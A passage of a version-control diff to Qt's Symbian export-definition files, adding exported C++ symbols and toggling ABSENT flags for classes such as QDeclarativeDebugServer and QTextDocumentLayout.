    +	?rewriteBinding@QDeclarativeCustomParser@@IAEHABVQString@@ABVQByteArray@@@Z @ 1853 NONAME ; int QDeclarativeCustomParser::rewriteBinding(class QString const &, class QByteArray const &)
    +	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@ABVQVariant@@@Z @ 1854 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QString const &, class QVariant const &)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1855 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, class QFlags)
    +	?implicitHeightChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1856 NONAME ; void QDeclarativeItemPrivate::implicitHeightChanged(void)
    +	?implicitWidthChanged@QDeclarativeItem@@IAEXXZ @ 1857 NONAME ; void QDeclarativeItem::implicitWidthChanged(void)
    +	?implicitWidthChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1858 NONAME ; void QDeclarativeItemPrivate::implicitWidthChanged(void)
    +	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1859 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *, int)
    +	?implicitHeightChanged@QDeclarativeItem@@IAEXXZ @ 1860 NONAME ; void QDeclarativeItem::implicitHeightChanged(void)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1861 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QFlags)
    +	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1862 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *)
    +	??_EQDeclarativeDebugServerConnection@@UAE@I@Z @ 1863 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(unsigned int)
    +	?receiveMessage@QDeclarativeDebugServer@@QAEXABVQByteArray@@@Z @ 1864 NONAME ; void QDeclarativeDebugServer::receiveMessage(class QByteArray const &)
    +	??0QDeclarativeDebugServer@@AAE@XZ @ 1865 NONAME ; QDeclarativeDebugServer::QDeclarativeDebugServer(void)
    +	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1866 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *)
    +	??1QDeclarativeDebugServer@@UAE@XZ @ 1867 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(void)
    +	?sendMessage@QDeclarativeDebugServer@@QAEXPAVQDeclarativeDebugService@@ABVQByteArray@@@Z @ 1868 NONAME ; void QDeclarativeDebugServer::sendMessage(class QDeclarativeDebugService *, class QByteArray const &)
    +	??1QDeclarativeDebugServerConnection@@UAE@XZ @ 1869 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(void)
    +	?qt_metacast@QDeclarativeDebugServer@@UAEPAXPBD@Z @ 1870 NONAME ; void * QDeclarativeDebugServer::qt_metacast(char const *)
    +	?hasDebuggingClient@QDeclarativeDebugServer@@QBE_NXZ @ 1871 NONAME ; bool QDeclarativeDebugServer::hasDebuggingClient(void) const
    +	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQString@@@Z @ 1872 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QString const &) const
    +	?getStaticMetaObject@QDeclarativeDebugServer@@SAABUQMetaObject@@XZ @ 1873 NONAME ; struct QMetaObject const & QDeclarativeDebugServer::getStaticMetaObject(void)
    +	?metaObject@QDeclarativeDebugServer@@UBEPBUQMetaObject@@XZ @ 1874 NONAME ; struct QMetaObject const * QDeclarativeDebugServer::metaObject(void) const
    +	?d_func@QDeclarativeDebugServer@@ABEPBVQDeclarativeDebugServerPrivate@@XZ @ 1875 NONAME ; class QDeclarativeDebugServerPrivate const * QDeclarativeDebugServer::d_func(void) const
    +	??0QDeclarativeExpression@@IAE@PAVQDeclarativeContextData@@PAVQObject@@ABVQScriptValue@@AAVQDeclarativeExpressionPrivate@@@Z @ 1876 NONAME ; QDeclarativeExpression::QDeclarativeExpression(class QDeclarativeContextData *, class QObject *, class QScriptValue const &, class QDeclarativeExpressionPrivate &)
    +	?createObject@QDeclarativeComponent@@IAE?AVQScriptValue@@PAVQObject@@ABV2@@Z @ 1877 NONAME ; class QScriptValue QDeclarativeComponent::createObject(class QObject *, class QScriptValue const &)
    +	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@PAVQDeclarativeAbstractBinding@@@Z @ 1878 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QString const &, class QDeclarativeAbstractBinding *)
    +	??0QDeclarativeDebugServerConnection@@QAE@XZ @ 1879 NONAME ; QDeclarativeDebugServerConnection::QDeclarativeDebugServerConnection(void)
    +	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1880 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QString const &) const
    +	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@@Z @ 1881 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QString const &)
    +	?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void)
    +	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int)
    +	?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const
     
    diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def
    index bf4d99f..6a2bcb9 100644
    --- a/src/s60installs/bwins/QtGuiu.def
    +++ b/src/s60installs/bwins/QtGuiu.def
    @@ -12908,4 +12908,44 @@ EXPORTS
     	?resetCursorBlinkTimer@QLineControl@@QAEXXZ @ 12907 NONAME ; void QLineControl::resetCursorBlinkTimer(void)
     	?setSubFocus@QGraphicsItemPrivate@@QAEXPAVQGraphicsItem@@0@Z @ 12908 NONAME ; void QGraphicsItemPrivate::setSubFocus(class QGraphicsItem *, class QGraphicsItem *)
     	?clearSubFocus@QGraphicsItemPrivate@@QAEXPAVQGraphicsItem@@0@Z @ 12909 NONAME ; void QGraphicsItemPrivate::clearSubFocus(class QGraphicsItem *, class QGraphicsItem *)
    +	?hitTest@QTextDocumentLayout@@UBEHABVQPointF@@W4HitTestAccuracy@Qt@@@Z @ 12910 NONAME ; int QTextDocumentLayout::hitTest(class QPointF const &, enum Qt::HitTestAccuracy) const
    +	?positionInlineObject@QTextDocumentLayout@@MAEXVQTextInlineObject@@HABVQTextFormat@@@Z @ 12911 NONAME ; void QTextDocumentLayout::positionInlineObject(class QTextInlineObject, int, class QTextFormat const &)
    +	?timerEvent@QTextDocumentLayout@@MAEXPAVQTimerEvent@@@Z @ 12912 NONAME ; void QTextDocumentLayout::timerEvent(class QTimerEvent *)
    +	?draw@QTextDocumentLayout@@UAEXPAVQPainter@@ABUPaintContext@QAbstractTextDocumentLayout@@@Z @ 12913 NONAME ; void QTextDocumentLayout::draw(class QPainter *, struct QAbstractTextDocumentLayout::PaintContext const &)
    +	?documentSize@QTextDocumentLayout@@UBE?AVQSizeF@@XZ @ 12914 NONAME ; class QSizeF QTextDocumentLayout::documentSize(void) const
    +	?drawInlineObject@QTextDocumentLayout@@MAEXPAVQPainter@@ABVQRectF@@VQTextInlineObject@@HABVQTextFormat@@@Z @ 12915 NONAME ; void QTextDocumentLayout::drawInlineObject(class QPainter *, class QRectF const &, class QTextInlineObject, int, class QTextFormat const &)
    +	?resizeInlineObject@QTextDocumentLayout@@MAEXVQTextInlineObject@@HABVQTextFormat@@@Z @ 12916 NONAME ; void QTextDocumentLayout::resizeInlineObject(class QTextInlineObject, int, class QTextFormat const &)
    +	?dynamicDocumentSize@QTextDocumentLayout@@QBE?AVQSizeF@@XZ @ 12917 NONAME ; class QSizeF QTextDocumentLayout::dynamicDocumentSize(void) const
    +	?metaObject@QTextDocumentLayout@@UBEPBUQMetaObject@@XZ @ 12918 NONAME ; struct QMetaObject const * QTextDocumentLayout::metaObject(void) const
    +	?getStaticMetaObject@QTextDocumentLayout@@SAABUQMetaObject@@XZ @ 12919 NONAME ; struct QMetaObject const & QTextDocumentLayout::getStaticMetaObject(void)
    +	?blockBoundingRect@QTextDocumentLayout@@UBE?AVQRectF@@ABVQTextBlock@@@Z @ 12920 NONAME ; class QRectF QTextDocumentLayout::blockBoundingRect(class QTextBlock const &) const
    +	?qt_metacall@QTextDocumentLayout@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 12921 NONAME ; int QTextDocumentLayout::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?d_func@QTextDocumentLayout@@AAEPAVQTextDocumentLayoutPrivate@@XZ @ 12922 NONAME ; class QTextDocumentLayoutPrivate * QTextDocumentLayout::d_func(void)
    +	?isDragEnabled@QTextControl@@QBE_NXZ @ 12923 NONAME ; bool QTextControl::isDragEnabled(void) const
    +	?staticMetaObject@QTextDocumentLayout@@2UQMetaObject@@B @ 12924 NONAME ; struct QMetaObject const QTextDocumentLayout::staticMetaObject
    +	?qt_metacast@QTextDocumentLayout@@UAEPAXPBD@Z @ 12925 NONAME ; void * QTextDocumentLayout::qt_metacast(char const *)
    +	?documentChanged@QTextDocumentLayout@@MAEXHHH@Z @ 12926 NONAME ; void QTextDocumentLayout::documentChanged(int, int, int)
    +	??1QTextDocumentLayout@@UAE@XZ @ 12927 NONAME ; QTextDocumentLayout::~QTextDocumentLayout(void)
    +	?layoutStatus@QTextDocumentLayout@@QBEHXZ @ 12928 NONAME ; int QTextDocumentLayout::layoutStatus(void) const
    +	?setDragEnabled@QTextControl@@QAEX_N@Z @ 12929 NONAME ; void QTextControl::setDragEnabled(bool)
    +	?d_func@QTextDocumentLayout@@ABEPBVQTextDocumentLayoutPrivate@@XZ @ 12930 NONAME ; class QTextDocumentLayoutPrivate const * QTextDocumentLayout::d_func(void) const
    +	?idealWidth@QTextDocumentLayout@@QBEMXZ @ 12931 NONAME ; float QTextDocumentLayout::idealWidth(void) const
    +	?setFixedColumnWidth@QTextDocumentLayout@@QAEXH@Z @ 12932 NONAME ; void QTextDocumentLayout::setFixedColumnWidth(int)
    +	?cursorWidth@QTextDocumentLayout@@QBEHXZ @ 12933 NONAME ; int QTextDocumentLayout::cursorWidth(void) const
    +	?trUtf8@QTextDocumentLayout@@SA?AVQString@@PBD0H@Z @ 12934 NONAME ; class QString QTextDocumentLayout::trUtf8(char const *, char const *, int)
    +	?pageCount@QTextDocumentLayout@@UBEHXZ @ 12935 NONAME ; int QTextDocumentLayout::pageCount(void) const
    +	?setViewport@QTextDocumentLayout@@QAEXABVQRectF@@@Z @ 12936 NONAME ; void QTextDocumentLayout::setViewport(class QRectF const &)
    +	?contentHasAlignment@QTextDocumentLayout@@QBE_NXZ @ 12937 NONAME ; bool QTextDocumentLayout::contentHasAlignment(void) const
    +	?tr@QTextDocumentLayout@@SA?AVQString@@PBD0@Z @ 12938 NONAME ; class QString QTextDocumentLayout::tr(char const *, char const *)
    +	?setLineHeight@QTextDocumentLayout@@IAEXMW4LineHeightMode@1@@Z @ 12939 NONAME ; void QTextDocumentLayout::setLineHeight(float, enum QTextDocumentLayout::LineHeightMode)
    +	?tr@QTextDocumentLayout@@SA?AVQString@@PBD0H@Z @ 12940 NONAME ; class QString QTextDocumentLayout::tr(char const *, char const *, int)
    +	?trUtf8@QTextDocumentLayout@@SA?AVQString@@PBD0@Z @ 12941 NONAME ; class QString QTextDocumentLayout::trUtf8(char const *, char const *)
    +	?frameBoundingRect@QTextDocumentLayout@@UBE?AVQRectF@@PAVQTextFrame@@@Z @ 12942 NONAME ; class QRectF QTextDocumentLayout::frameBoundingRect(class QTextFrame *) const
    +	?setCursorWidth@QTextDocumentLayout@@QAEXH@Z @ 12943 NONAME ; void QTextDocumentLayout::setCursorWidth(int)
    +	??_EQTextDocumentLayout@@UAE@I@Z @ 12944 NONAME ; QTextDocumentLayout::~QTextDocumentLayout(unsigned int)
    +	??0QTextDocumentLayout@@QAE@PAVQTextDocument@@@Z @ 12945 NONAME ; QTextDocumentLayout::QTextDocumentLayout(class QTextDocument *)
    +	?doLayout@QTextDocumentLayout@@AAE?AVQRectF@@HHH@Z @ 12946 NONAME ; class QRectF QTextDocumentLayout::doLayout(int, int, int)
    +	?ensureLayouted@QTextDocumentLayout@@QAEXM@Z @ 12947 NONAME ; void QTextDocumentLayout::ensureLayouted(float)
    +	?layoutFinished@QTextDocumentLayout@@AAEXXZ @ 12948 NONAME ; void QTextDocumentLayout::layoutFinished(void)
    +	?dynamicPageCount@QTextDocumentLayout@@QBEHXZ @ 12949 NONAME ; int QTextDocumentLayout::dynamicPageCount(void) const
     
    diff --git a/src/s60installs/bwins/QtScriptu.def b/src/s60installs/bwins/QtScriptu.def
    index 9d998ca..02a0819 100644
    --- a/src/s60installs/bwins/QtScriptu.def
    +++ b/src/s60installs/bwins/QtScriptu.def
    @@ -403,4 +403,6 @@ EXPORTS
     	??0Value@QScriptDeclarativeClass@@QAE@PAVQScriptContext@@H@Z @ 402 NONAME ; QScriptDeclarativeClass::Value::Value(class QScriptContext *, int)
     	??0PersistentIdentifier@QScriptDeclarativeClass@@AAE@PAVQScriptEnginePrivate@@@Z @ 403 NONAME ; QScriptDeclarativeClass::PersistentIdentifier::PersistentIdentifier(class QScriptEnginePrivate *)
     	?compare@QScriptDeclarativeClass@@UAE_NPAUObject@1@0@Z @ 404 NONAME ; bool QScriptDeclarativeClass::compare(struct QScriptDeclarativeClass::Object *, struct QScriptDeclarativeClass::Object *)
    +	?toString@PersistentIdentifier@QScriptDeclarativeClass@@QBE?AVQString@@XZ @ 405 NONAME ; class QString QScriptDeclarativeClass::PersistentIdentifier::toString(void) const
    +	?startsWithUpper@QScriptDeclarativeClass@@QAE_NABQAX@Z @ 406 NONAME ; bool QScriptDeclarativeClass::startsWithUpper(void * const const &)
     
    diff --git a/src/s60installs/eabi/QtCoreu.def b/src/s60installs/eabi/QtCoreu.def
    index 5815b28..fce55dd 100644
    --- a/src/s60installs/eabi/QtCoreu.def
    +++ b/src/s60installs/eabi/QtCoreu.def
    @@ -3715,4 +3715,6 @@ EXPORTS
     	_ZN24QAbstractDeclarativeData17objectNameChangedE @ 3714 NONAME DATA 4
     	_ZN23QEventDispatcherSymbian36queueDeferredActiveObjectsCompletionEv @ 3715 NONAME
     	_ZN23QCoreApplicationPrivate18symbianCommandLineEv @ 3716 NONAME
    +	_ZNK11QMetaMethod8revisionEv @ 3717 NONAME
    +	_ZNK13QMetaProperty8revisionEv @ 3718 NONAME
     
    diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def
    index 1f69061..fe2a7a1 100644
    --- a/src/s60installs/eabi/QtDeclarativeu.def
    +++ b/src/s60installs/eabi/QtDeclarativeu.def
    @@ -19,24 +19,24 @@ EXPORTS
     	_ZN15QPacketAutoSendD0Ev @ 18 NONAME ABSENT
     	_ZN15QPacketAutoSendD1Ev @ 19 NONAME ABSENT
     	_ZN15QPacketAutoSendD2Ev @ 20 NONAME ABSENT
    -	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME ABSENT
    -	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME ABSENT
    -	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME ABSENT
    -	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME ABSENT
    -	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16 ABSENT
    -	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME ABSENT
    -	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME ABSENT
    -	_ZN15QPacketProtocol4readEv @ 28 NONAME ABSENT
    -	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME ABSENT
    -	_ZN15QPacketProtocol4sendEv @ 30 NONAME ABSENT
    -	_ZN15QPacketProtocol5clearEv @ 31 NONAME ABSENT
    -	_ZN15QPacketProtocol6deviceEv @ 32 NONAME ABSENT
    -	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME ABSENT
    -	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME ABSENT
    -	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME ABSENT
    -	_ZN15QPacketProtocolD0Ev @ 36 NONAME ABSENT
    -	_ZN15QPacketProtocolD1Ev @ 37 NONAME ABSENT
    -	_ZN15QPacketProtocolD2Ev @ 38 NONAME ABSENT
    +	_ZN15QPacketProtocol11qt_metacallEN11QMetaObject4CallEiPPv @ 21 NONAME
    +	_ZN15QPacketProtocol11qt_metacastEPKc @ 22 NONAME
    +	_ZN15QPacketProtocol13invalidPacketEv @ 23 NONAME
    +	_ZN15QPacketProtocol13packetWrittenEv @ 24 NONAME
    +	_ZN15QPacketProtocol16staticMetaObjectE @ 25 NONAME DATA 16
    +	_ZN15QPacketProtocol19getStaticMetaObjectEv @ 26 NONAME
    +	_ZN15QPacketProtocol20setMaximumPacketSizeEi @ 27 NONAME
    +	_ZN15QPacketProtocol4readEv @ 28 NONAME
    +	_ZN15QPacketProtocol4sendERK7QPacket @ 29 NONAME
    +	_ZN15QPacketProtocol4sendEv @ 30 NONAME
    +	_ZN15QPacketProtocol5clearEv @ 31 NONAME
    +	_ZN15QPacketProtocol6deviceEv @ 32 NONAME
    +	_ZN15QPacketProtocol9readyReadEv @ 33 NONAME
    +	_ZN15QPacketProtocolC1EP9QIODeviceP7QObject @ 34 NONAME
    +	_ZN15QPacketProtocolC2EP9QIODeviceP7QObject @ 35 NONAME
    +	_ZN15QPacketProtocolD0Ev @ 36 NONAME
    +	_ZN15QPacketProtocolD1Ev @ 37 NONAME
    +	_ZN15QPacketProtocolD2Ev @ 38 NONAME
     	_ZN16QDeclarativeInfoC1EP23QDeclarativeInfoPrivate @ 39 NONAME
     	_ZN16QDeclarativeInfoC1ERKS_ @ 40 NONAME
     	_ZN16QDeclarativeInfoC2EP23QDeclarativeInfoPrivate @ 41 NONAME
    @@ -241,8 +241,8 @@ EXPORTS
     	_ZN18QDeclarativePixmap23connectDownloadProgressEP7QObjecti @ 240 NONAME
     	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl @ 241 NONAME
     	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize @ 242 NONAME
    -	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME
    -	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSizeb @ 243 NONAME ABSENT
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlb @ 244 NONAME ABSENT
     	_ZN18QDeclarativePixmap5clearEP7QObject @ 245 NONAME
     	_ZN18QDeclarativePixmap5clearEv @ 246 NONAME
     	_ZN18QDeclarativePixmap9setPixmapERK7QPixmap @ 247 NONAME
    @@ -1059,20 +1059,20 @@ EXPORTS
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD0Ev @ 1058 NONAME
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD1Ev @ 1059 NONAME
     	_ZN39QDeclarativeNetworkAccessManagerFactoryD2Ev @ 1060 NONAME
    -	_ZN7QPacket5clearEv @ 1061 NONAME ABSENT
    -	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME ABSENT
    -	_ZN7QPacketC1ERKS_ @ 1063 NONAME ABSENT
    -	_ZN7QPacketC1Ev @ 1064 NONAME ABSENT
    -	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME ABSENT
    -	_ZN7QPacketC2ERKS_ @ 1066 NONAME ABSENT
    -	_ZN7QPacketC2Ev @ 1067 NONAME ABSENT
    -	_ZN7QPacketD0Ev @ 1068 NONAME ABSENT
    -	_ZN7QPacketD1Ev @ 1069 NONAME ABSENT
    -	_ZN7QPacketD2Ev @ 1070 NONAME ABSENT
    +	_ZN7QPacket5clearEv @ 1061 NONAME
    +	_ZN7QPacketC1ERK10QByteArray @ 1062 NONAME
    +	_ZN7QPacketC1ERKS_ @ 1063 NONAME
    +	_ZN7QPacketC1Ev @ 1064 NONAME
    +	_ZN7QPacketC2ERK10QByteArray @ 1065 NONAME
    +	_ZN7QPacketC2ERKS_ @ 1066 NONAME
    +	_ZN7QPacketC2Ev @ 1067 NONAME
    +	_ZN7QPacketD0Ev @ 1068 NONAME
    +	_ZN7QPacketD1Ev @ 1069 NONAME
    +	_ZN7QPacketD2Ev @ 1070 NONAME
     	_ZNK15QDeclarativePen10metaObjectEv @ 1071 NONAME ABSENT
    -	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME ABSENT
    -	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME ABSENT
    -	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME ABSENT
    +	_ZNK15QPacketProtocol10metaObjectEv @ 1072 NONAME
    +	_ZNK15QPacketProtocol16packetsAvailableEv @ 1073 NONAME
    +	_ZNK15QPacketProtocol17maximumPacketSizeEv @ 1074 NONAME
     	_ZNK16QDeclarativeItem10metaObjectEv @ 1075 NONAME
     	_ZNK16QDeclarativeItem10parentItemEv @ 1076 NONAME
     	_ZNK16QDeclarativeItem10widthValidEv @ 1077 NONAME
    @@ -1524,10 +1524,10 @@ EXPORTS
     	_ZNK36QDeclarativeDomValueValueInterceptor6objectEv @ 1523 NONAME ABSENT
     	_ZNK38QDeclarativeDebugObjectExpressionWatch10expressionEv @ 1524 NONAME ABSENT
     	_ZNK38QDeclarativeDebugObjectExpressionWatch10metaObjectEv @ 1525 NONAME ABSENT
    -	_ZNK7QPacket7isEmptyEv @ 1526 NONAME ABSENT
    +	_ZNK7QPacket7isEmptyEv @ 1526 NONAME
     	_ZTI15QDeclarativePen @ 1527 NONAME ABSENT
     	_ZTI15QPacketAutoSend @ 1528 NONAME ABSENT
    -	_ZTI15QPacketProtocol @ 1529 NONAME ABSENT
    +	_ZTI15QPacketProtocol @ 1529 NONAME
     	_ZTI16QDeclarativeItem @ 1530 NONAME
     	_ZTI16QDeclarativeText @ 1531 NONAME ABSENT
     	_ZTI16QDeclarativeView @ 1532 NONAME
    @@ -1574,10 +1574,10 @@ EXPORTS
     	_ZTI36QDeclarativePropertyValueInterceptor @ 1573 NONAME
     	_ZTI38QDeclarativeDebugObjectExpressionWatch @ 1574 NONAME ABSENT
     	_ZTI39QDeclarativeNetworkAccessManagerFactory @ 1575 NONAME
    -	_ZTI7QPacket @ 1576 NONAME ABSENT
    +	_ZTI7QPacket @ 1576 NONAME
     	_ZTV15QDeclarativePen @ 1577 NONAME ABSENT
     	_ZTV15QPacketAutoSend @ 1578 NONAME ABSENT
    -	_ZTV15QPacketProtocol @ 1579 NONAME ABSENT
    +	_ZTV15QPacketProtocol @ 1579 NONAME
     	_ZTV16QDeclarativeItem @ 1580 NONAME
     	_ZTV16QDeclarativeText @ 1581 NONAME ABSENT
     	_ZTV16QDeclarativeView @ 1582 NONAME
    @@ -1623,7 +1623,7 @@ EXPORTS
     	_ZTV36QDeclarativePropertyValueInterceptor @ 1622 NONAME
     	_ZTV38QDeclarativeDebugObjectExpressionWatch @ 1623 NONAME ABSENT
     	_ZTV39QDeclarativeNetworkAccessManagerFactory @ 1624 NONAME
    -	_ZTV7QPacket @ 1625 NONAME ABSENT
    +	_ZTV7QPacket @ 1625 NONAME
     	_ZThn16_N16QDeclarativeItem10classBeginEv @ 1626 NONAME
     	_ZThn16_N16QDeclarativeItem17componentCompleteEv @ 1627 NONAME
     	_ZThn16_N16QDeclarativeItemD0Ev @ 1628 NONAME
    @@ -1677,9 +1677,9 @@ EXPORTS
     	_ZN23QDeclarativeEngineDebug10newObjectsEv @ 1676 NONAME ABSENT
     	_ZN17QDeclarativeState20addEntryToRevertListERK18QDeclarativeAction @ 1677 NONAME
     	_ZN17QDeclarativeState22addEntriesToRevertListERK5QListI18QDeclarativeActionE @ 1678 NONAME
    -	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME
    -	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME
    -	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME
    +	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK10QByteArrayRK8QVariant @ 1679 NONAME ABSENT
    +	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK10QByteArrayP27QDeclarativeAbstractBinding @ 1680 NONAME ABSENT
    +	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK10QByteArray @ 1681 NONAME ABSENT
     	_ZN17QDeclarativeState30removeAllEntriesFromRevertListEP7QObject @ 1682 NONAME
     	_ZN23QDeclarativeItemPrivate10data_clearEP24QDeclarativeListPropertyI7QObjectE @ 1683 NONAME
     	_ZN23QDeclarativeItemPrivate10data_countEP24QDeclarativeListPropertyI7QObjectE @ 1684 NONAME
    @@ -1706,9 +1706,9 @@ EXPORTS
     	_ZN27QDeclarativePropertyChangesD1Ev @ 1705 NONAME ABSENT
     	_ZN27QDeclarativePropertyChangesD2Ev @ 1706 NONAME ABSENT
     	_ZNK17QDeclarativeState13isStateActiveEv @ 1707 NONAME
    -	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME
    -	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME
    -	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME
    +	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK10QByteArray @ 1708 NONAME ABSENT
    +	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK10QByteArray @ 1709 NONAME ABSENT
    +	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK10QByteArray @ 1710 NONAME ABSENT
     	_ZNK26QDeclarativeStateOperation5stateEv @ 1711 NONAME
     	_ZNK27QDeclarativePropertyChanges10expressionERK10QByteArray @ 1712 NONAME ABSENT
     	_ZNK27QDeclarativePropertyChanges10isExplicitEv @ 1713 NONAME ABSENT
    @@ -1747,8 +1747,8 @@ EXPORTS
     	_ZN21QDeclarativeListModelC1EPKS_P32QDeclarativeListModelWorkerAgent @ 1746 NONAME ABSENT
     	_ZN21QDeclarativeListModelC2EPKS_P32QDeclarativeListModelWorkerAgent @ 1747 NONAME ABSENT
     	_ZNK21QDeclarativeListModel14inWorkerThreadEv @ 1748 NONAME ABSENT
    -	_ZN23QDeclarativeDebugHelper15getScriptEngineEP18QDeclarativeEngine @ 1749 NONAME ABSENT
    -	_ZN23QDeclarativeDebugHelper26setAnimationSlowDownFactorEf @ 1750 NONAME ABSENT
    +	_ZN23QDeclarativeDebugHelper15getScriptEngineEP18QDeclarativeEngine @ 1749 NONAME
    +	_ZN23QDeclarativeDebugHelper26setAnimationSlowDownFactorEf @ 1750 NONAME
     	_ZN17QDeclarativeTimer10classBeginEv @ 1751 NONAME ABSENT
     	_ZN17QDeclarativeTimer10setRunningEb @ 1752 NONAME ABSENT
     	_ZN17QDeclarativeTimer11qt_metacallEN11QMetaObject4CallEiPPv @ 1753 NONAME ABSENT
    @@ -1885,4 +1885,40 @@ EXPORTS
     	_ZThn8_N29QDeclarativeAbstractAnimationD1Ev @ 1884 NONAME ABSENT
     	_ZN23QDeclarativeDebugHelper15enableDebuggingEv @ 1885 NONAME
     	_ZN27QDeclarativePropertyPrivate7connectEPK7QObjectiS2_iiPi @ 1886 NONAME ABSENT
    +	_ZN16QDeclarativeItem20implicitWidthChangedEv @ 1887 NONAME
    +	_ZN16QDeclarativeItem21implicitHeightChangedEv @ 1888 NONAME
    +	_ZN17QDeclarativeState23changeValueInRevertListEP7QObjectRK7QStringRK8QVariant @ 1889 NONAME
    +	_ZN17QDeclarativeState25changeBindingInRevertListEP7QObjectRK7QStringP27QDeclarativeAbstractBinding @ 1890 NONAME
    +	_ZN17QDeclarativeState25removeEntryFromRevertListEP7QObjectRK7QString @ 1891 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrl6QFlagsINS_6OptionEE @ 1892 NONAME
    +	_ZN18QDeclarativePixmap4loadEP18QDeclarativeEngineRK4QUrlRK5QSize6QFlagsINS_6OptionEE @ 1893 NONAME
    +	_ZN21QDeclarativeComponent12createObjectEP7QObjectRK12QScriptValue @ 1894 NONAME
    +	_ZN22QDeclarativeExpressionC1EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1895 NONAME
    +	_ZN22QDeclarativeExpressionC2EP23QDeclarativeContextDataP7QObjectRK12QScriptValueR29QDeclarativeExpressionPrivate @ 1896 NONAME
    +	_ZN23QDeclarativeDebugServer10addServiceEP24QDeclarativeDebugService @ 1897 NONAME
    +	_ZN23QDeclarativeDebugServer11qt_metacallEN11QMetaObject4CallEiPPv @ 1898 NONAME
